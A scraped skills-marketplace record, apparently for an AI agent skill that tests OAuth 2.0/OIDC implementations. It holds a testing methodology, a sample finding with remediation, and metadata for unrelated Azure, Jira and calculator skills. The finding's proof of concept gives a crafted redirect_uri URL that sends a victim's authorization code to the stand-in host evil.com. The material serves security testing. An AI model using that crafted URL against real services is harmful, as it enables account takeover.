**Burp Suite Professional**: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges\n- **EsPReSSO (Burp Extension)**: Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities\n- **oauth2-security-tester**: Dedicated tool for testing OAuth 2.0 flows against common attack patterns\n- **OWASP ZAP**: Passive scanner that detects OAuth misconfigurations in intercepted traffic\n- **jwt.io**: Online JWT decoder for analyzing OAuth access tokens and ID tokens\n\n## Common Scenarios\n\n### Scenario: Social Login OAuth Implementation Assessment\n\n**Context**: A web application implements \"Login with Google\" and \"Login with GitHub\" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.\n\n**Approach**:\n1. Analyze the OAuth configuration at `\u002F.well-known\u002Fopenid-configuration` for both providers\n2. Test redirect URI validation: discover that the application registers `https:\u002F\u002Fapp.example.com\u002Fcallback` but the server accepts `https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..%2fevil`\n3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)\n4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile\n5. Test implicit flow: still enabled despite not being used by the application\n6. Test scope: application requests `openid profile email` but the authorization server also grants `read:repos` without explicit consent\n7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement\n8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)\n\n**Pitfalls**:\n- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters\n- Not testing both the authorization request and the token exchange independently\n- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri\n- Not testing the state parameter validation on the client side (server may include it but client may not check it)\n- Assuming PKCE is enforced because the authorization server supports it (client must also send it)\n\n## Output Format\n\n```\n## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft\n\n**ID**: API-OAUTH-001\n**Severity**: Critical (CVSS 9.3)\n**Affected Component**: OAuth 2.0 Authorization Code Flow\n**Authorization Server**: auth.example.com\n\n**Description**:\nThe authorization server's redirect_uri validation uses prefix matching\ninstead of exact string matching. An attacker can manipulate the redirect_uri\nto redirect the authorization code to an attacker-controlled endpoint,\nenabling account takeover. Additionally, PKCE is not enforced and the\nstate parameter is not validated by the client application.\n\n**Proof of Concept**:\n1. Craft authorization URL with manipulated redirect_uri:\n   https:\u002F\u002Fauth.example.com\u002Fauthorize?response_type=code&client_id=app\n   &redirect_uri=https:\u002F\u002Fapp.example.com\u002Fcallback\u002F..\u002F..\u002F..\u002Fevil.com\n   &scope=openid+profile+email&state=abc123\n2. User authenticates and approves consent\n3. Authorization code redirected to https:\u002F\u002Fevil.com?code=AUTH_CODE&state=abc123\n4. Attacker exchanges code at token endpoint (no PKCE required)\n5. Attacker receives access token and ID token for victim's account\n\n**Impact**:\nComplete account takeover for any user who clicks a crafted OAuth login link.\nThe attacker gains full access to the user's profile, email, and any\nresources the OAuth scope grants access to.\n\n**Remediation**:\n1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)\n2. Enforce PKCE (S256 method) for all authorization code flow requests\n3. Validate the state parameter in the callback handler before exchanging the code\n4. Disable the implicit flow on the authorization server\n5. Enforce single-use authorization codes with a short TTL (max 60 seconds)\n6. Validate the audience (aud) claim in tokens before accepting them\n```\n",{"name":5,"tags":51,"author":54,"domain":45,"license":14,"version":55,"subdomain":39,"description":56},[39,28,52,41,36,53],"oidc","token-security","mahipal","1.0.0","Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common misconfigurations that enable account takeover or unauthorized access. Activates for requests involving OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing.\n","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":65,"prompt":75,"zipAvailable":76},[66,69,72],{"tool":67,"command":68},"npx","npx skills add micsapp\u002Fmicstec-skills --skill testing-oauth2-implementation-flaws",{"tool":70,"command":71},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill testing-oauth2-implementation-flaws",{"tool":73,"command":74},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill testing-oauth2-implementation-flaws","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002FSKILL.md",true,[78,83,89],{"path":79,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002FLICENSE",{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"references\u002Fapi-reference.md","REFERENCE","参考文档",1903,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002Freferences\u002Fapi-reference.md",{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"scripts\u002Fagent.py","SCRIPT","脚本",8172,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-oauth2-implementation-flaws\u002Fscripts\u002Fagent.py",[96,128,157,177,197,221],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":109,"publishedAt":46},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[103,104],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":105,"categoryName":106,"taxonomyType":107,"taxonomyTypeDesc":108},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[110,111,112,113,41,114,115,116,117,37,118,119,120,121,122,123,124,125,126,127],"architecture","azure","azure apim architecture","component","gateway","topology","Optimization","network","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":142,"publishedAt":46},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides deployment of Azure API Management infrastructure using Infrastructure as Code (Bicep\u002FTerraform), CI\u002FCD pipelines (GitHub Actions\u002FAzure DevOps), and APIOps workflows. Use when deploying APIM, creating pipelines, or implementing dev→test→prod promotion strategies.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapiops-deployment\u002FSKILL.md",[134,135,138,141],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":136,"categoryName":137,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000011","运维与部署",{"categoryNo":139,"categoryName":140,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":105,"categoryName":106,"taxonomyType":107,"taxonomyTypeDesc":108},[143,144,145,146,111,147,42,148,149,150,151,152,37,118,124,153,154,125,155,156],"deployment","apiops deployment","workflows","azure devops","infrastructure","infrastructure as code","actions","ci","github actions","github-actions","as","guides","CI\u002FCD","implementing",{"skillNo":158,"name":159,"nameZh":6,"description":160,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":164,"publishedAt":46},"01M6HBT2HEA23THNE9E00GYQBE","apim-policy-authoring","Creates production-ready Azure API Management policy XML for authentication (OAuth 2.0, JWT validation, subscription keys), rate limiting, CORS configuration, error handling, and API transformations. Use when implementing API security, access control, or request\u002Fresponse processing logic.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapim-policy-authoring\u002FSKILL.md",[163],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},[165,166,167,168,111,41,37,118,34,169,170,171,172,173,174,125,175,176,156,127],"policy","authoring","apim policy authoring","security","use","ready","api security","Access Control","error","processing","cors configuration","production-ready",{"skillNo":178,"name":179,"nameZh":6,"description":180,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":181,"categories":182,"keywords":185,"publishedAt":46},"01M6HBSY65SB29J9WE9KYD0K6T","api-security-review","Reviews Azure API Management configurations for security vulnerabilities, OWASP API Security Top 10 compliance, VNet Internal mode validation, Private Link verification, and Azure Security Benchmark alignment. Use when performing security audits, pre-deployment validation, or compliance reviews.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fapi-security-review\u002FSKILL.md",[183,184],{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},{"categoryNo":105,"categoryName":106,"taxonomyType":107,"taxonomyTypeDesc":108},[186,168,187,37,171,188,111,143,189,190,191,192,118,193,125,194,195,196,126,127],"review","security review","api security review","benchmark","verification","owasp","owasp-api","alignment","azure security","reviews","top",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":203,"publishedAt":46},"01M6HBSRW4PDFE6K4F8JYPZQ05","jira-cli","Interact with Jira from the command line to create, list, view, edit, and transition issues, manage sprints and epics, and perform common Jira workflows. Use when the user asks about Jira tasks, tickets, issues, sprints, or needs to manage project work items.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fjira-cli\u002FSKILL.md",[],[204,205,206,145,207,208,209,210,37,33,211,212,213,214,215,216,217,218,219,220],"cli","jira","jira cli","init","tasks","create","issues","work","command","edit","list","view","project","project work","token","line","sprints",{"skillNo":222,"name":223,"nameZh":6,"description":224,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":100,"licenseFileUrl":6,"sourceHtmlUrl":225,"categories":226,"keywords":227,"publishedAt":46},"01M6HBSNS3JHMW603G47TWE31H","calculator","Performs arbitrary-precision arithmetic calculations including addition, subtraction, multiplication, division, and exponents. Use when the user asks to calculate, compute, or evaluate math expressions, or when precise decimal arithmetic is needed to avoid floating-point errors.","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fawesome-copilot-agents\u002Fskills\u002Fcalculator\u002FSKILL.md",[],[223,228,229,230,231,232,233,169,234,235],"npm","js","calculate","node","math","user","compute","errors"]